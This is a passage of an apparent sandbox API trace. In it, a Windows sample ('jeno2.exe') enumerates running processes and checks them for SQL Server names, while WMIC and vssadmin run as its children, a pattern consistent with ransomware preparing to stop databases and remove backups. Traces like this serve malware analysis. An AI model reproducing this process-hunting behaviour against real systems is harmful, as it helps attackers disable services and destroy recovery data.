lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="edcsvr.exe") returned 260 [0081.950] VarBstrCmp (bstrLeft="edcsvr.exe", bstrRight="sqlservr.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0081.950] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x960, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0081.951] GetLastError () returned 0x0 [0081.951] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="fpos.exe") returned 260 [0081.951] VarBstrCmp (bstrLeft="fpos.exe", bstrRight="sqlservr.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0081.951] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0081.951] GetLastError () returned 0x0 [0081.951] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="isspos.exe") returned 260 [0081.951] VarBstrCmp (bstrLeft="isspos.exe", bstrRight="sqlservr.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0081.951] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x980, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0081.952] GetLastError () returned 0x0 [0081.952] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="mxslipstream.exe") returned 260 [0081.952] VarBstrCmp (bstrLeft="ipstream.exe", bstrRight="sqlservr.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0081.952] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x990, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0081.953] GetLastError () returned 0x0 [0081.953] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="omnipos.exe") returned 260 [0081.953] VarBstrCmp (bstrLeft="omnipos.exe", bstrRight="sqlservr.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0081.953] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0081.953] GetLastError () returned 0x0 [0081.953] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="spcwin.exe") returned 260 [0081.953] VarBstrCmp (bstrLeft="spcwin.exe", bstrRight="sqlservr.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0081.954] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x9b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0081.954] GetLastError () returned 0x0 [0081.954] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="spgagentservice.exe") returned 260 [0081.954] VarBstrCmp (bstrLeft="tservice.exe", bstrRight="sqlservr.exe", lcid=0x0, dwFlags=0x30001) returned 0x2 [0081.954] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0081.955] GetLastError () returned 0x0 [0081.955] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="utg2.exe") returned 260 [0081.955] VarBstrCmp (bstrLeft="utg2.exe", bstrRight="sqlservr.exe", lcid=0x0, dwFlags=0x30001) returned 0x2 [0081.955] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x9d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="honey projector.exe")) returned 1 [0081.956] GetLastError () returned 0x0 [0081.956] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="honey projector.exe") returned 260 [0081.956] VarBstrCmp (bstrLeft="rojector.exe", bstrRight="sqlservr.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0081.956] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x9f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0081.956] GetLastError () returned 0x0 [0081.956] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="WmiPrvSE.exe") returned 260 [0081.956] VarBstrCmp (bstrLeft="wmiprvse.exe", bstrRight="sqlservr.exe", lcid=0x0, dwFlags=0x30001) returned 0x2 [0081.956] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0081.957] GetLastError () returned 0x0 [0081.957] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="WmiPrvSE.exe") returned 260 [0081.957] VarBstrCmp (bstrLeft="wmiprvse.exe", bstrRight="sqlservr.exe", lcid=0x0, dwFlags=0x30001) returned 0x2 [0081.957] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0081.958] GetLastError () returned 0x0 [0081.958] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="taskhost.exe") returned 260 [0081.958] VarBstrCmp (bstrLeft="taskhost.exe", bstrRight="sqlservr.exe", lcid=0x0, dwFlags=0x30001) returned 0x2 [0081.958] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0xaf8, pcPriClassBase=8, dwFlags=0x0, szExeFile="jeno2.exe")) returned 1 [0081.958] GetLastError () returned 0x0 [0081.959] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="jeno2.exe") returned 260 [0081.959] VarBstrCmp (bstrLeft="jeno2.exe", bstrRight="sqlservr.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0081.959] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIC.exe")) returned 1 [0081.959] GetLastError () returned 0x0 [0081.959] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="WMIC.exe") returned 260 [0081.959] VarBstrCmp (bstrLeft="wmic.exe", bstrRight="sqlservr.exe", lcid=0x0, dwFlags=0x30001) returned 0x2 [0081.959] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0081.960] GetLastError () returned 0x0 [0081.960] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="conhost.exe") returned 260 [0081.960] VarBstrCmp (bstrLeft="conhost.exe", bstrRight="sqlservr.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0081.960] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x5d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0081.960] GetLastError () returned 0x0 [0081.960] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="vssadmin.exe") returned 260 [0081.961] VarBstrCmp (bstrLeft="vssadmin.exe", bstrRight="sqlservr.exe", lcid=0x0, dwFlags=0x30001) returned 0x2 [0081.961] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0081.961] GetLastError () returned 0x0 [0081.961] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="conhost.exe") returned 260 [0081.961] VarBstrCmp (bstrLeft="conhost.exe", bstrRight="sqlservr.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0081.961] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0081.962] GetLastError () returned 0x12 [0081.962] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="conhost.exe") returned 260 [0081.962] CloseHandle (hObject=0x27c) returned 1 [0081.962] GetLastError () returned 0x0 [0081.962] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=128, lpMultiByteStr=0x18ec00, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 128 [0081.962] GetVersionExA (in: lpVersionInformation=0x18ebec*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion=" ") | out: lpVersionInformation=0x18ebec*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0081.962] GetLastError () returned 0x0 [0081.962] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ec00, cbMultiByte=128, lpWideCharStr=0x18eca0, cchWideChar=128 | out: lpWideCharStr="Service Pack 1") returned 128 [0081.962] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x18eb08) returned 0x27c [0081.966] GetLastError () returned 0x0 [0081.966] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=260, lpMultiByteStr=0x18e9fc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 260 [0081.966] Process32First (in: hSnapshot=0x27c, lppe=0x18e9d8 | out: lppe=0x18e9d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0081.967] GetLastError () returned 0x0 [0081.967] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e9fc, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="[System Process]") returned 260 [0081.967] VarBstrCmp (bstrLeft="stem process]", bstrRight="sqlwriter.exe", lcid=0x0, dwFlags=0x30001) returned 0x2 [0081.967] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0081.968] GetLastError () returned 0x0 [0081.968] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="System") returned 260 [0081.968] VarBstrCmp (bstrLeft="system", bstrRight="sqlwriter.exe", lcid=0x0, dwFlags=0x30001) returned 0x2 [0081.968] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0081.968] GetLastError () returned 0x0 [0081.968] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="smss.exe") returned 260 [0081.968] VarBstrCmp (bstrLeft="smss.exe", bstrRight="sqlwriter.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0081.968] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0081.969] GetLastError () returned 0x0 [0081.969] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="csrss.exe") returned 260 [0081.969] VarBstrCmp (bstrLeft="csrss.exe", bstrRight="sqlwriter.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0081.969] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0081.969] GetLastError () returned 0x0 [0081.969] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="wininit.exe") returned 260 [0081.969] VarBstrCmp (bstrLeft="wininit.exe", bstrRight="sqlwriter.exe", lcid=0x0, dwFlags=0x30001) returned 0x2 [0081.969] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0081.970] GetLastError () returned 0x0 [0081.970] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="csrss.exe") returned 260 [0081.970] VarBstrCmp (bstrLeft="csrss.exe", bstrRight="sqlwriter.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0081.970] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0081.971] GetLastError () returned 0x0 [0081.971] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="winlogon.exe") returned 260 [0081.971] VarBstrCmp (bstrLeft="winlogon.exe", bstrRight="sqlwriter.exe", lcid=0x0, dwFlags=0x30001) returned 0x2 [0081.971] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0081.994] GetLastError () returned 0x0 [0081.995] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="services.exe") returned 260 [0081.995] VarBstrCmp (bstrLeft="services.exe", bstrRight="sqlwriter.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0081.995] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0081.995] GetLastError () returned 0x0 [0081.995] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="lsass.exe") returned 260 [0081.995] VarBstrCmp (bstrLeft="lsass.exe", bstrRight="sqlwriter.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0081.995] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0081.996] GetLastError () returned 0x0 [0081.996] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="lsm.exe") returned 260 [0081.996] VarBstrCmp (bstrLeft="lsm.exe", bstrRight="sqlwriter.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0081.996] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0081.996] GetLastError () returned 0x0 [0081.996] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="svchost.exe") returned 260 [0081.996] VarBstrCmp (bstrLeft="svchost.exe", bstrRight="sqlwriter.exe", lcid=0x0, dwFlags=0x30001) returned 0x2 [0081.996] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0081.997] GetLastError () returned 0x0 [0081.997] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="svchost.exe") returned 260 [0081.997] VarBstrCmp (bstrLeft="svchost.exe", bstrRight="sqlwriter.exe", lcid=0x0, dwFlags=0x30001) returned 0x2 [0081.997] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0081.998] GetLastError () returned 0x0 [0081.998] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="svchost.exe") returned 260 [0081.998] VarBstrCmp (bstrLeft="svchost.exe", bstrRight="sqlwriter.exe", lcid=0x0, dwFlags=0x30001) returned 0x2 [0081.998] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0081.998] GetLastError () returned 0x0 [0081.998] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="svchost.exe") returned 260 [0081.998] VarBstrCmp (bstrLeft="svchost.exe", bstrRight="sqlwriter.exe", lcid=0x0, dwFlags=0x30001) returned 0x2 [0081.998] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x30, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0081.999] GetLastError () returned 0x0 [0081.999] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="svchost.exe") returned 260 [0081.999] VarBstrCmp (bstrLeft="svchost.exe", bstrRight="sqlwriter.exe", lcid=0x0, dwFlags=0x30001) returned 0x2 [0081.999] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0081.999] GetLastError () returned 0x0 [0081.999] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="audiodg.exe") returned 260 [0081.999] VarBstrCmp (bstrLeft="audiodg.exe", bstrRight="sqlwriter.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0082.000] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0082.000] GetLastError () returned 0x0 [0082.000] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="svchost.exe") returned 260 [0082.000] VarBstrCmp (bstrLeft="svchost.exe", bstrRight="sqlwriter.exe", lcid=0x0, dwFlags=0x30001) returned 0x2 [0082.000] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0082.001] GetLastError () returned 0x0 [0082.001] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="svchost.exe") returned 260 [0082.001] VarBstrCmp (bstrLeft="svchost.exe", bstrRight="sqlwriter.exe", lcid=0x0, dwFlags=0x30001) returned 0x2 [0082.001] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0082.001] GetLastError () returned 0x0 [0082.001] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="dwm.exe") returned 260 [0082.001] VarBstrCmp (bstrLeft="dwm.exe", bstrRight="sqlwriter.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0082.001] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0082.002] GetLastError () returned 0x0 [0082.002] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="explorer.exe") returned 